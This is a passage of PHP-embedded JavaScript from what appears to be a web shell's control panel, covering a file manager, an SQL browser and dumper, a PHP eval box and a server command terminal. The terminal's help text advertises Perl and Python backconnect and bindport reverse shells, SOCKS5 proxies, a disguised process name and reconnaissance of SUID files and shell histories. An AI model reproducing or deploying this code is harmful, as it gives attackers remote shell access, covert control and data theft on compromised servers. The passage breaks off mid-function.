if (cnt > 0) fmAjxSnd('Download ' + (cnt > 1 ? 'selected files (' + cnt + ')' : files[0]), onDwnFiles, {
d: cnt > 1 ? files : files[0]
});
}
function onDelFiles(div, data) {
if ('r' in data) {
for (var i = data.r.length - 1; i >= 0; --i) rmFiles(data.r[i]);
updBufferState();
}
if ('e' in data) uiChngMsg(div, "Can't delete " + (data.e.length === 1 ? data.e[0] : ':\n' + data.e.join('\n')), 'Err');
else uiDelMsg(div);
}
function delFiles(files) {
var cnt = files.length,
msg = 'Delete ' + (cnt > 1 ? 'selected files (' + cnt + ')' : files[0]);
if (cnt > 0 && confirm(msg + ' ?')) fmAjxSnd(msg, onDelFiles, {
u: files
});
}
function onFastActClick(e) {
var trgt = e.target;
if (trgt.tagName !== 'A') return;
e.preventDefault();
e.stopPropagation();
trgt.blur();
var fpth = canonPath(elmPth.value, elmPth.placeholder);
if (fpth === '') return;
switch (trgt.textContent) {
case 'Properties':
getPrps(fpth);
break;
case 'Download':
dwnFiles([fpth]);
break;
case 'Delete':
delFiles([fpth]);
break;
}
}
function onUplFiles(div, data) {
if ('p' in data) updTblFiles(data<?php if(NIX)echo',data.o,data.g';?>);
if ('e' in data) {
var errs = ["can't move file to current dir", 'file size exceeds the upload_max_filesize directive', 'file size exceeds the max_file_size property', 'file only partially uploaded', 'file not uploaded', 'Who Do You Voodoo, Bitch?', 'missing a temporary folder', 'failed to write to disk', 'some PHP extension stopped the upload'],
cnt = data.e.length,
sep = cnt === 1 ? ' ' : '\n',
msg = "Can't save uploaded file";
if (cnt > 1) msg += 's:';
for (var i = 0; i < cnt; ++i) msg += sep + data.e[i].slice(1) + ' (' + errs[data.e[i].slice(0, 1)] + ')';
uiChngMsg(div, msg, 'Err');
} else uiDelMsg(div);
}
function uplFiles() {
var inp = elmById('inpUpl'),
fls = inp.files,
len = fls.length;
fmAjxSnd('Upload ' + (len > 1 ? len + ' files' : fls[0].name), onUplFiles, {
p: elmPth.placeholder
}, inp.form);
}
function onMkFile(div, data) {
if ('e' in data) return uiChngMsg(div, "Can't c" + div.childNodes[1].nodeValue.slice(1, -1) + data.e, 'Err');
updTblFile(data);
uiDelMsg(div);
}
function mkLnk(e) {
e.preventDefault();
e.stopPropagation();
var frm = elmById('frmLnk'),
lnk = canonPath(frm.elements[1].value, elmPth.placeholder);
fmAjxSnd('Create ' + frm.t.textValue.toLowerCase() + ' link ' + lnk + ' to ' + frm.p.value, onMkFile, {
l: lnk
}, frm);
uiClsModal(frm);
}
function uiShwFrmLnk(p) {
var frm = elmById('frmLnk');
frm.p.value = p;
frm.elements[1].value = p;
frm.t.selectedIndex = 0;
uiShwModal(frm);
}
function mkDir(bp) {
var fp = prompt('Create Directory', bp);
if (fp !== null) {
fp = canonPath(fp, bp);
fmAjxSnd('Create directory ' + fp, onMkFile, {
m: fp
});
}
}
function onCrtMenuClick(e) {
var trgt = e.target;
if (trgt.tagName !== 'A') return;
e.preventDefault();
e.stopPropagation();
trgt.blur();
var bpth = elmPth.placeholder;
switch (trgt.textContent) {
case 'File':
uiShwFrmFile([bpth, null], '', elmById('fmCSSend').value);
break;
case 'Link':
uiShwFrmLnk(bpth);
break;
case 'Directory':
mkDir(bpth);
break;
}
}
function uiUnmrkTblFiles(files) {
var as = elmTblFiles.getElementsByClassName('mrkd');
for (var i = as.length - 1; i >= 0; --i) {
var n = files.indexOf(as[i].parentNode.parentNode.cells[0].firstChild.value);
if (n > -1) {
as[i].classList.remove('mrkd');
files.splice(n, 1);
if (files.length === 0) break;
}
}
}
function unmarkFiles() {
var tbdy = elmById('tblBuffer').tBodies[0],
inps = elmById('frmBuffer')['f[]'],
files = [];
if (!inps.length) inps = [inps];
for (var i = inps.length - 1; i >= 0; --i)
if (inps[i].checked) {
files.push(fmBuffer.splice(i, 1)[0]);
tbdy.removeChild(inps[i].parentNode.parentNode);
} if (files.length > 0) {
uiUnmrkTblFiles(files);
updBufferState();
}
}
function onTblBufferClick(e) {
var trgt = e.target;
if (trgt.tagName !== 'A') return;
e.preventDefault();
e.stopPropagation();
var row = trgt.parentNode.parentNode,
fpth = row.cells[0].firstChild.value;
switch (trgt.parentNode.cellIndex) {
case 1:
goTo(fpth);
break;
case 2:
fmBuffer.splice(row.rowIndex - 1, 1);
row.parentNode.removeChild(row);
uiUnmrkTblFiles([fpth]);
updBufferState();
break;
}
}
function uiShwFrmBuffer() {
var frm = elmById('frmBuffer');
if (frm.style.visibility === 'visible') return;
var tbl = elmById('tblBuffer'),
tbdy = document.createElement('tbody'),
elmTmplBufferRow = elmById('tmplBufferRow').content.firstChild;
frm.elements[0].checked = false;
if (tbl.tBodies.length > 0) tbl.removeChild(tbl.tBodies[0]);
fmBuffer.sort();
for (var i = 0, c = fmBuffer.length; i < c; ++i) {
var row = elmTmplBufferRow.cloneNode(true);
row.cells[0].firstChild.value = fmBuffer[i];
row.cells[1].firstChild.textContent = fmBuffer[i];
tbdy.appendChild(row);
}
tbl.appendChild(tbdy);
uiShwModal(frm);
}
function getName(f) {
return f[0];
}
function onFlshBuffer(div, data) {
var files = ('c' in data) ? data.c : [];
if ('m' in data)
for (var i = data.m.length - 1; i >= 0; --i) {
rmFiles({
p: data.m[i].p,
f: data.m[i].f.map(getName)
});
files = files.concat(data.m[i].f);
}
updTblFiles({
p: data.p,
f: files
}
<?php if(NIX)echo',data.o,data.g';?>);
if ('e' in data) {
var msg = div.childNodes[1].nodeValue;
uiChngMsg(div, "Can't " + msg.slice(0, 10).toLowerCase() + msg.slice(26, -1) + ":\n" + data.e.join("\n"), 'Err');
} else uiDelMsg(div);
}
function flushBuffer(act) {
var bpth = elmPth.placeholder,
data = {
f: bpth
};
data[act === 'Copy' ? 'p' : 'v'] = fmBuffer;
fmAjxSnd(act + ' files from the buffer to ' + bpth, onFlshBuffer, data);
}
function clnBuffer() {
var as = elmTblFiles.getElementsByClassName('mrkd');
for (var i = as.length - 1; i >= 0; --i) as[i].classList.remove('mrkd');
fmBuffer = [];
updBufferState();
}
function onBufferMenuClick(e) {
var trgt = e.target;
if (trgt.tagName !== 'A') return;
e.preventDefault();
e.stopPropagation();
trgt.blur();
fmBuffer.sort();
switch (trgt.textContent) {
case 'Show files':
uiShwFrmBuffer();
break;
case 'Copy here':
case 'Move here':
flushBuffer(trgt.textContent.slice(0, 4));
clnBuffer();
break;
case 'Download':
dwnFiles(fmBuffer);
clnBuffer();
break;
case 'Clear':
clnBuffer();
break;
}
}
function markFiles(files) {
var bfrTbdy = elmById('frmBuffer').style.visibility === 'visible' ? elmById('tblBuffer').tBodies[0] : null,
elmTmplBufferRow = elmById('tmplBufferRow').content.firstChild;
for (var i = 0, c = files.length; i < c; ++i) {
var file = files[i],
n = fmBuffer.indexOf(file);
if (n === -1) {
fmBuffer.push(file);
if (bfrTbdy) {
var row = elmTmplBufferRow.cloneNode(true);
row.cells[0].firstChild.value = file;
row.cells[1].firstChild.textContent = file;
bfrTbdy.appendChild(row);
}
} else {
fmBuffer.splice(n, 1);
if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]);
}
}
updBufferState();
}
function getSlctdFiles() {
var inps = elmById('frmFiles')['f[]'], chckd = [];
if(!inps.hasOwnProperty('1')) inps = [inps];
if (inps) {
if (inps.length > 0) {
for (var i = 0, c = inps.length; i < c; ++i)
if (inps[i].checked) chckd.push(inps[i].value);
} else chckd.push(inps);
}
return chckd;
}
function prpsSlctdFiles() {
var files = getSlctdFiles();
if (files.length > 0) uiShwFrmPrps(['', '', '', '', ''], files)
}
function markSlctdFiles() {
var inps = elmById('frmFiles')['f[]'],
files = [];
if (!inps) return;
if (!inps.length) inps = [inps];
for (var i = 0, c = inps.length; i < c; ++i)
if (inps[i].checked) {
inps[i].parentNode.parentNode.cells[1].firstChild.classList.toggle('mrkd');
files.push(inps[i].value);
} markFiles(files);
}
function onTblFilesClick(e) {
var trgt = e.target;
if (trgt.tagName !== 'A') return;
e.preventDefault();
e.stopPropagation();
if (trgt.className == 'spnPth') goTo(trgt.hash.slice(1));
else {
var cell = trgt.parentNode,
row = cell.parentNode,
fpth = row.cells[0].firstChild.value;
switch (cell.cellIndex) {
case 1:
goTo(fpth);
break;
case 2:
var elmTxtClpbrd = elmById('txtClpbrd');
elmTxtClpbrd.value = trgt.title;
elmTxtClpbrd.select();
document.execCommand('copy');
elmTxtClpbrd.value = '';
trgt.focus();
break;
case 3:
dwnFiles([fpth]);
break;
case 5:
<?php if(NIX)echo"var og=row.cells[6].title.split('/');";?>uiShwFrmPrps([fpth, row.cells[4].textContent<?php if(NIX)echo',row.cells[5].firstChild.title,og[0],og[1]';?>], [fpth]);
break;
default:
if (trgt.textContent === 'Mrk') {
row.cells[1].firstChild.classList.toggle('mrkd');
markFiles([fpth]);
} else if (trgt.textContent === 'Del') delFiles([fpth]);
break;
}
}
}
function sqlRestoreState() {
var val = sessionStorage.getItem('sqlCnnct');
if (val !== null) {
var frm = elmById('frmCnnct');
val = JSON.parse(val);
for (var key in val) frm[key].value = val[key];
}
strgRstrChck('sqlCntRw', 'cbCR');
strgRstrVal('sqlRPP', elmById('frmPg').r);
strgRstrVal('sqlSendAs', 'sqlCSSend');
strgRstrVal('sqlLoadAs', 'sqlCSLoad');
}
function sqlSaveState() {
var elms = elmById('frmCnnct').elements,
val = {};
for (var i = elms.length - 1; i >= 0; --i)
if (elms[i].name !== '') val[elms[i].name] = elms[i].value;
strgSaveStr('sqlCnnct', JSON.stringify(val));
strgSaveBool('sqlCntRw', 'cbCR');
strgSaveStr('sqlRPP', elmById('frmPg').r.value);
strgSaveOpt('sqlSendAs', elmById('sqlCSSend').value);
strgSaveOpt('sqlLoadAs', elmById('sqlCSLoad').value);
}
function sqlAjxSnd(msg, cllbck, data) {
var elm = elmById('frmCnnct').elements;
if (!data) data = {};
data.a = 's';
for (var i = elm.length - 1; i >= 0; --i) {
var n = elm[i].name;
if (n !== '' && elm[i].value !== '' && !(n in data)) data[n] = elm[i].value;
}
var val = elmById('sqlCSLoad').value;
if (val !== 0) data.c = val;
elm = elmById('sqlCSSend');
data.l = elm.value;
return ajxSnd(msg, cllbck, null, data, elm.textValue);
}
function mkItmRow(name, val, chckd, fncOpn, fncDwn) {
var div = newElm('div', {
className: 'divItm'
});
div.appendChild(newElm('input', {
type: 'checkbox',
name: name + '[]',
value: val,
checked: chckd,
onchange: onChngCBState
}));
if (fncOpn) div.appendChild(newElm('a', {
href: '#',
className: 'cntrl actRe',
textContent: '\u27F3',
onclick: getStrctr
}));
if (fncDwn) div.appendChild(newElm('a', {
href: '#',
className: 'cntrl arwDwn',
onclick: fncDwn
}));
div.appendChild(newElm((fncOpn ? 'a' : 'span'), {
href: '#',
className: 'aMore',
title: val,
textContent: val,
onclick: fncOpn
}));
return div;
}
function cnnct() {
var frm = elmById('frmCnnct');
return sqlAjxSnd('Connect to ' + frm.e.textValue + ' server ' + frm.h.value + ' as ' + frm.u.value + ' (' + frm.p.value + ')', onCnnct);
}
function onCnnct(div, data) {
if ('e' in data) return uiChngMsg(div, data.e, 'Err');
elmById('frmSQL').q.value = '';
elmById('divCptn').textContent = '';
elm = elmById('frmPg').style;
if (elm.display === 'block') elm.display = 'none';
elm = elmById('tblHead');
if (elm.childNodes.length > 0) elm.removeChild(elm.tHead);
elm = elmById('tblData');
if (elm.tBodies.length > 0) elm.removeChild(elm.tBodies[0]);
elm = elmById('divSQLWrpLeft');
if (elm.style.display === 'block') {
elm.style.display = 'none';
var e = elmById('divSchm');
for (var i = e.childNodes.length - 1; i >= 0; --i) e.removeChild(e.lastChild);
}
if ('b' in data) {
elmById('divSchm').appendChild(mkItmRow('b', data.b, false, opnList));
onGetStrctr(div, data);
} else {
var frgm = document.createDocumentFragment();
for (var i = 0, c = data.length; i < c; ++i) frgm.appendChild(mkItmRow('b', data[i], false, opnList));
elmById('divSchm').appendChild(frgm);
}
elm.style.display = 'block';
elm = elmById('frmSQL').style;
if (elm.display !== 'flex') elm.display = 'flex';
if (!('b' in data)) uiDelMsg(div);
}
function opnList() {
var prnt = this.parentNode,
lst = prnt.lastChild;
if (lst.className === 'divLst') lst.style.display = lst.style.display === 'none' ? 'block' : 'none';
else prnt.childNodes[1].onclick();
return false;
}
function onChngCBState() {
var chldTotal = this.getAttribute('chldTotal') | 0,
chldChckd = this.getAttribute('chldChckd') | 0,
chldIndtrm = -1 * (this.getAttribute('chldIndtrm') | 0),
prnt = this.name === 'b[]' ? false : this.parentNode.parentNode.parentNode.firstChild;
if (chldIndtrm !== 0 || chldChckd !== chldTotal) {
this.setAttribute('chldIndtrm', 0);
--chldIndtrm;
}
this.setAttribute('chldChckd', this.checked ? chldTotal : 0);
chldChckd = this.checked ? chldTotal - chldChckd + 1 : -1 * chldChckd - 1;
if (chldTotal > 0) {
var inps = this.parentNode.lastChild.getElementsByTagName('input');
for (var i = inps.length - 1; i >= 0; --i)
if (inps[i].indeterminate || inps[i].checked !== this.checked) {
var ttl = inps[i].getAttribute('chldTotal') | 0;
if (ttl > 0) {
inps[i].setAttribute('chldIndtrm', 0);
inps[i].setAttribute('chldChckd', this.checked ? ttl : 0);
}
inps[i].indeterminate = false;
inps[i].checked = this.checked;
}
}
while (prnt) {
var crrntTotal = prnt.getAttribute('chldTotal') | 0,
crrntChckd = (prnt.getAttribute('chldChckd') | 0) + chldChckd,
crrntIndtrm = (prnt.getAttribute('chldIndtrm') | 0) + chldIndtrm;
prnt.setAttribute('chldChckd', crrntChckd);
prnt.setAttribute('chldIndtrm', crrntIndtrm);
if (crrntChckd === crrntTotal) {
prnt.checked = true;
++chldChckd;
if (prnt.indeterminate) {
prnt.indeterminate = false;
--chldIndtrm;
}
} else {
if (prnt.checked) {
prnt.checked = false;
--chldChckd;
}
if (crrntChckd === 0 && crrntIndtrm === 0) {
if (prnt.indeterminate) {
prnt.indeterminate = false;
--chldIndtrm;
}
} else if (!prnt.indeterminate) {
prnt.indeterminate = true;
++chldIndtrm;
}
}
prnt = prnt.name === 'b[]' ? false : prnt.parentNode.parentNode.parentNode.firstChild;
}
}
function listTables(prnt, data) {
var chckd = prnt.parentNode.firstChild.checked,
lst = data.t;
for (var i = 0, c = lst.length; i < c; ++i) {
var row = mkItmRow('t', lst[i][0], chckd, getData, opnList);
if (lst[i].length > 1) row.appendChild(newElm('span', {
className: 'spnRC',
textContent: lst[i][1]
}));
prnt.appendChild(row);
}
}
function listSchemas(prnt, data) {
var chckd = prnt.parentNode.firstChild.checked,
lst = data.s;
for (i = 0, c = lst.length; i < c; ++i) prnt.appendChild(mkItmRow('s', lst[i], chckd, opnList));
}
function getStrctr() {
var elm = this,
data = {},
name = [],
inp;
do {
elm = elm.parentNode;
inp = elm.firstChild;
name.push(inp.value);
data[inp.name.substr(0, 1)] = inp.value;
elm = elm.parentNode;
} while (elm.id !== 'divSchm');
if (elmById('cbCR').checked) data.r = '';
return sqlAjxSnd('Get structure of ' + name.reverse().join('.'), onGetStrctr, data);
}
function srchItm(elm, name, value) {
var chlds = elm.childNodes;
for (var i = 0, c = chlds.length; i < c; ++i) {
var inp = chlds[i].firstChild;
if (inp.name === name && inp.value === value) return chlds[i];
}
return false;
}
function onGetStrctr(div, data) {
if ('e' in data) return uiChngMsg(div, data.e, 'Err');
var cnt;
if ('f' in data) cnt = data.f.length;
else if ('t' in data) cnt = data.t.length;
else cnt = data.s.length;
if (cnt === 0) {
var t = 'Database',
v = [data.b];
if (('s' in data) && ('t' in data)) {
t = 'Schema';
v.push(data.s);
}
if ('f' in data) {
t = 'Table';
v.push(data.t);
}
return uiChngMsg(div, t + ' ' + v.join('.') + ' is empty', 'Inf');
}
var prnt = srchItm(elmById('divSchm'), 'b[]', data.b);
if (!prnt) return;
if (('t' in data) && ('s' in data)) {
if (prnt.lastChild.className !== 'divLst') return;
prnt = srchItm(prnt.lastChild, 's[]', data.s);
if (!prnt) return;
}
if ('f' in data) {
if (prnt.lastChild.className !== 'divLst') return;
prnt = srchItm(prnt.lastChild, 't[]', data.t);
if (!prnt) return;
}
if (prnt.lastChild.className === 'divLst') prnt.removeChild(prnt.lastChild);
var i = prnt.firstChild;
i.setAttribute('chldTotal', cnt);
i.setAttribute('chldChckd', i.checked ? cnt : 0);
i.setAttribute('chldIndtrm', 0);
prnt.appendChild(newElm('div', {
className: 'divLst'
}));
prnt = prnt.lastChild;
if ('f' in data) listFields(prnt, data);
else if ('t' in data) listTables(prnt, data);
else listSchemas(prnt, data);
uiDelMsg(div);
}
function listFields(prnt, data) {
var chckd = prnt.parentNode.firstChild.checked,
lst = data.f;
for (i = 0, c = lst.length; i < c; ++i) {
var row = mkItmRow('f', lst[i][0], chckd),
type = data.y[lst[i][1]];
if (type !== '') {
var div = newElm('div', {
className: 'divFldTp'
});
div.appendChild(newElm('span', {
className: 'aMore',
textContent: type
}));
row.appendChild(div);
}
prnt.appendChild(row);
}
}
function getData() {
var elm = this.parentNode,
data = {
t: elm.firstChild.value,
f: [],
o: 0,
r: elmById('frmPg').r.value
};
elm = elm.parentNode.parentNode;
if (elm.firstChild.name === 's[]') {
data.s = elm.firstChild.value;
data.b = elm.parentNode.parentNode.firstChild.value;
} else data.b = elm.firstChild.value;
elm = this.parentNode;
if (elm.lastChild.className === 'divLst') {
elm = elm.lastChild.childNodes;
for (var i = elm.length - 1; i >= 0; --i)
if (elm[i].firstChild.checked) data.f.unshift(elm[i].firstChild.value);
}
if (data.f.length === 0) data.f = '';
return sqlAjxSnd('Load data from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t, onGetData, data);
}
function listData(caption, data) {
var tblHead = elmById('tblHead'),
tblData = elmById('tblData'),
cln = data.f.length;
if (tblData.tBodies.length > 0) tblData.removeChild(tblData.tBodies[0]);
elmById('divCptn').textContent = caption;
if (tblHead.childNodes.length > 0) tblHead.removeChild(tblHead.tHead);
var thead = document.createElement('thead'),
elm = thead.insertRow(0);
for (var i = 0; i < cln; ++i) elm.insertCell(-1).textContent = data.f[i];
tblHead.appendChild(thead);
data = data.r;
elm = document.createElement('tbody');
for (var i = 0, c = data.length; i < c; ++i) {
var tr = elm.insertRow(-1);
for (var j = 0; j < cln; ++j) tr.insertCell(-1).textContent = data[i][j];
}
tblData.appendChild(elm);
elm = tblHead.tHead.rows[0].cells;
data = tblData.tBodies[0].rows[0].cells;
for (var i = 0; i < cln; ++i) {
var tr = (elm[i].offsetWidth > data[i].offsetWidth ? elm[i].offsetWidth : data[i].offsetWidth) + 'px';
elm[i].style.minWidth = tr;
elm[i].style.width = tr;
data[i].style.minWidth = tr;
data[i].style.width = tr;
}
}
function onGetData(div, data) {
if ('e' in data) return uiChngMsg(div, data.e, 'Err');
if (data.f.length === 0) {
var v = data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t;
return uiChngMsg(div, data.o > 0 ? 'No more data in table ' + v : 'Table ' + v + ' is empty', 'Inf');
}
var isNotPgnbl = !('o' in data);
listData((isNotPgnbl ? 'Top ' + data.r.length + ' rows' : 'Rows ' + data.o + '-' + (data.o + data.r.length - 1)) + ' from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t, data);
var frmPg = elmById('frmPg');
frmPg.b.value = data.b;
frmPg.s.value = ('s' in data) ? data.s : '';
frmPg.t.value = data.t;
frmPg.o.value = 0;
frmPg.o.disabled = isNotPgnbl;
frmPg.elements[3].disabled = isNotPgnbl;
frmPg.elements[5].disabled = isNotPgnbl;
if (frmPg.style.display !== 'block') frmPg.style.display = 'block';
uiDelMsg(div);
}
function chngPg(v) {
var elms = elmById('frmPg'),
chlds = [],
val = (elms.o.value | 0) + v * (elms.r.value | 0),
data = {
b: elms.b.value,
t: elms.t.value,
o: val > 0 ? val : 0,
r: elms.r.value | 0,
f: []
};
if (elms.s.value !== '') data.s = elms.s.value;
var prnt = srchItm(elmById('divSchm'), 'b[]', data.b);
if (prnt && prnt.lastChild.className === 'divLst') {
if ('s' in data) prnt = srchItm(prnt.lastChild, 's[]', data.s);
if (prnt && prnt.lastChild.className === 'divLst') {
prnt = srchItm(prnt.lastChild, 't[]', data.t);
if (prnt && prnt.lastChild.className === 'divLst') {
var chlds = prnt.lastChild.childNodes;
for (var i = 0, c = chlds.length; i < c; ++i)
if (chlds[i].firstChild.checked) data.f.push(chlds[i].firstChild.value);
}
}
}
if (data.f.length === 0) data.f = '';
return sqlAjxSnd('Load data from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t + ' (' + data.o + '-' + (data.o + data.r) + ')', onGetData, data);
}
function query() {
var v = elmById('frmSQL').q.value;
return v === '' ? false : sqlAjxSnd(v, onQuery, {
q: v
});
}
function onQuery(div, data) {
if ('e' in data) return uiChngMsg(div, data.e, 'Err');
if (data.f.length === 0) return uiChngMsg(div, 'Query successfully completed (' + data.q + ')', 'Inf');
elmById('frmPg').style.display = 'none';
listData(data.q, data);
uiDelMsg(div);
}
function getDumpList(data, elms, prfx) {
var n = 0,
indx = elms[0].firstChild.name.slice(0, 1) + '[' + prfx + ']';
data[indx] = [];
for (var i = 0, c = elms.length; i < c; ++i) {
if (elms[i].firstChild.checked) data[indx][n++] = elms[i].firstChild.value;
else if (elms[i].firstChild.indeterminate) {
data[indx].push(elms[i].firstChild.value);
getDumpList(data, elms[i].lastChild.childNodes, prfx + '-' + n);
n++;
}
}
}
function dump() {
var data = {
d: [],
o: elmById('slctDmpFrmt').value
},
elms = elmById('divSchm').childNodes,
n = 0;
for (var i = 0, c = elms.length; i < c; ++i) {
if (elms[i].firstChild.checked) data.d[n++] = elms[i].firstChild.value;
else if (elms[i].firstChild.indeterminate) {
data.d.push(elms[i].firstChild.value);
getDumpList(data, elms[i].lastChild.childNodes, n++);
}
}
if (n) sqlAjxSnd('Download SQL dump (close this message after start download)', onDump, data);
}
function onDump(div, data) {
uiChngMsg(div, data.e, 'Err');
}
function onPHPKeyDwn(e) {
if (e.ctrlKey && e.keyCode === 13) return evl();
}
function onPHPResKeyDwn(e) {
if (e.ctrlKey && e.keyCode === 65) {
uiSlctTxt('prePHP');
e.preventDefault();
}
}
function uiChngCmps() {
var lbl = elmById('aCmps'),
frm = elmById('divPHP').style;
if (lbl.className === 'cmpsRow') {
lbl.className = 'cmpsCol';
frm.flexDirection = 'column';
} else {
lbl.className = 'cmpsRow';
frm.flexDirection = 'row';
}
return false;
}
function evl() {
var frm = elmById('frmPHP');
if (frm.e.value === '') elmById('prePHP').innerHTML = '';
else ajxSnd('Eval PHP code', onEvl, frm, {
a: 'p'
}, elmById('slctPHPCS').value);
return false;
}
function onEvl(div, data) {
var elm = elmById('prePHP'),
chr = data.slice(-1);
if ('createShadowRoot' in elm) {
if (elm.shadowRoot === null) elm.createShadowRoot();
elm = elm.shadowRoot;
}
if (chr === "\x06" && elmById('cbClnInp').checked) elmById('txtPHP').value = '';
if (elmById('cbClnOut').checked) elm.innerHTML = '';
if (chr === "\x15" && data.slice(0, -3) === '' && !elmById('frmPHP').h.checked) data = '\nFatal error: You have syntax error in PHP code\n';
else data = data.slice(0, -3);
if (elmById('cbHTML').checked) {
var divRst = document.createElement('iframe');
divRst.style = 'all:initial;isolation:isolate;width:100%;height:100%;';
divRst.srcdoc = data;
elm.appendChild(divRst);
} else elm.appendChild(document.createTextNode(data));
uiDelMsg(div);
}
function phpSaveState() {
strgSaveBool('phpChngCmps', elmById('aCmps').className === 'cmpsCol');
strgSaveBool('phpClnInp', 'cbClnInp');
strgSaveBool('phpClnOut', 'cbClnOut');
strgSaveBool('phpHTML', 'cbHTML');
var frm = elmById('frmPHP');
strgSaveBool('phpSilent', frm.h.checked);
strgSaveOpt('phpSendAs', elmById('slctPHPCS').value);
strgSaveOpt('phpLoadAs', frm.c.value);
}
function phpRestoreState() {
if (sessionStorage.getItem('phpChngCmps')) uiChngCmps();
strgRstrChck('phpClnInp', 'cbClnInp');
strgRstrChck('phpClnOut', 'cbClnOut');
strgRstrChck('phpHTML', 'cbHTML');
var frm = elmById('frmPHP');
strgRstrChck('phpSilent', frm.h);
strgRstrVal('phpSendAs', 'slctPHPCS');
strgRstrVal('phpLoadAs', frm.c);
}
var trmHist = strgRstrArr('trmHist'),
trmIndx = trmHist.length;
function onTrmClick(e) {
if (e.target === elmById('divTrm')) elmById('inpTrm').focus();
}
function onTrmResKeyDwn(e) {
if (e.ctrlKey && e.keyCode === 65) {
uiSlctTxt('preTrm');
e.preventDefault();
}
}
function onTrmInpKeyDwn(e) {
var frm = elmById('frmTrm'),
inp = frm.e;
if (e.keyCode === 38) {
if (trmIndx > 0) inp.value = trmHist[--trmIndx];
} else if (e.keyCode === 40) {
var val = trmHist.length;
if (trmIndx < val - 1) inp.value = trmHist[++trmIndx];
else {
inp.value = '';
if (trmIndx < val) ++trmIndx;
}
} else if (e.ctrlKey && e.keyCode === 76) elmById('preTrm').textContent = '';
else if (e.keyCode === 13) exec();
else return;
e.preventDefault();
}
function prntMsg(msg) {
if(elmById('cbIT').checked)
elmById('preTrm').textContent = reduce(elmById('spnUsrHst').title) + ':' + reduce(elmById('spnPth').title) + '$ ' + msg + '\n' + elmById('preTrm').textContent;
else{
elmById('preTrm').textContent += reduce(elmById('spnUsrHst').title) + ':' + reduce(elmById('spnPth').title) + '$ ' + msg + '\n';
var trm = elmById('divTrm');
trm.scrollTop = trm.scrollHeight;
}
return false;
}
function exec() {
var frm = elmById('frmTrm'),
cmd = frm.e.value.trim(),
val = cmd.match(/!(!|(?:-?[0-9]+))/);
if (val !== null) {
val = val[1] | 0;
if (val >= 0) --val;
cmd = trmHist[val < 0 ? trmHist.length + val : val];
frm.e.value = cmd;
}
if (trmHist.slice(-1)[0] !== cmd) trmHist.push(cmd);
trmIndx = trmHist.length;
if (cmd === '?') {
val = ' For more information run command without params.\n\n';
prntMsg('?\n\n' + 'cls, clear\n' + ' Clear terminal window.\n' + ' * You can clear terminal window pressing Ctrl+L\n\n' + 'history\n' + ' Show all comands.\n' + ' n Show last n commands.\n' + ' !! Execute last command.\n' + ' !n Execute command number n. If value negative then counting starts at end.\n' + ' * You can navigate through history using UP and DOWN keys.\n\n' + 'report\n' + ' Create server information report.\n' + ' For more information run command with question param.\n\n' + 'socks5.perl\n' + ' Run Socks5 server using Perl.\n' + val + 'bindport.perl\n' + ' Open port and provide shell access for connected client using Perl.\n' + val + 'backconnect.perl\n' + ' Connect to client and provide shell access for him using Perl.\n' + val + 'socks5.python\n' + ' Run Socks5 server using Python.\n' + val + 'bindport.python\n' + ' Open port and provide shell access for connected client using Python.\n' + val + 'backconnect.python\n' + ' Connect to client and provide shell access for him using Python.\n' + val);
} else if (cmd === 'cls' || cmd === 'clear') elmById('preTrm').textContent = '';
else {
val = cmd.match(/history ?([0-9]*)/i);
if (val !== null) {
val = val[1] | 0;
var s = cmd + '\n';
for (var c = trmHist.length, i = (val > 0 && c > val) ? c - val : 0; i < c; ++i) s += '\t' + (i + 1) + '\t' + trmHist[i] + '\n';
prntMsg(s);
} else {
val = cmd.split(' ', 4);
var usg = cmd + '\n' + 'Usage:\n ' + val[0],
opt = ' <port> [options]\nOptions (option value can\'t contain whitespace):\n -i <file> Use interpreter <file>. Default: ',
perl = '<?php echo NIX?"/usr/bin/perl":"perl.exe";?>\n',
pthn = '<?php echo NIX?"/usr/bin/python":"python.exe";?>\n',
opta = ' -a <addr> Listen only on IP address <addr>. Default listening on all adresses\n',
optn = ' -n <name> Set process name to <name>. Default value is secret ;)\n',
opts = ' -s <file> Use shell <file>. Default: <?php echo NIX?"/bin/sh":"cmd";?>\n',
optt = ' -t Open PTY\n',
optl = ' -s <u:p> Secure with authentication (u - username, p - password)\n',
ign = ' u - Users and Groups;\n e - Environment;\n p - Processes;\n n - Network;\n';
if (val[0] === 'backconnect.perl' && val.length < 3) prntMsg(usg + ' <ip>' + opt + perl + opts + optn);
else if (val[0] === 'bindport.perl' && val.length < 2) prntMsg(usg + opt + perl + opta + opts + optn);
else if (val[0] === 'socks5.perl' && val.length < 2) prntMsg(usg + opt + perl + opta + optl + optn);
else if (val[0] === 'backconnect.python' && val.length < 3) prntMsg(usg + ' <ip>' + opt + pthn + opts + optt);
else if (val[0] === 'bindport.python' && val.length < 2) prntMsg(usg + opt + pthn + opta + opts + optt);
else if (val[0] === 'socks5.python' && val.length < 2) prntMsg(usg + opt + pthn + opta + optl);
else if (val[0] === 'report' && val[1] === '?') prntMsg(usg + ' [options]\nOptions:\n -f <file> Save report to <file>\n -s [flags] Skip some information\n Flags:\n<?php echo NIX?'o-OS Identification;\n l-Langs;\n c-CPU;\n r-Cron;\n h-Histories;\n f-File System;\n s-SUID Files;\n':'s-System Info;\n t-Tasks;\n r-Share;\n';?>' + ign);
else {
ajxSnd(reduce(elmById('spnUsrHst').title) + ':' + reduce(elmById('spnPth').title) + '$ ' + cmd, onExec, frm, {
a: 't',
p: elmById('spnPth').title
}, elmById('slctTrmCS').value);
}
}
}
frm.e.value = '';
return false;
}
function onExec(div, data) {
var cmd = div.childNodes[1].textContent.slice(0, -2);
if (data === '\x03\x1E') return uiChngMsg(div, 'Error in command: ' + cmd, 'Err');
data = data.slice(0, -3);
var pos = data.lastIndexOf('\x03\x1E\x02\x0A');
if (pos > -1) {
var inf = data.slice(pos + 4).split('\n', 3);
elmById('spnUsrHst').title = inf[0] + '@' + inf[1];
elmById('spnPth').title = inf[2];
elmById('spnUsrHst').textContent = reduce(elmById('spnUsrHst').title);
elmById('spnPth').textContent = reduce(elmById('spnPth').title);
data = data.slice(0, pos);
} else data += '\n';
if(elmById('cbIT').checked){
elmById('divTrm').append(elmById('preTrm'));
elmById('preTrm').textContent = cmd + '\n' + data + '\n' + elmById('preTrm').textContent;
}
else{
elmById('divTrm').prepend(elmById('preTrm'));
elmById('preTrm').textContent += cmd + '\n' + data + '\n';
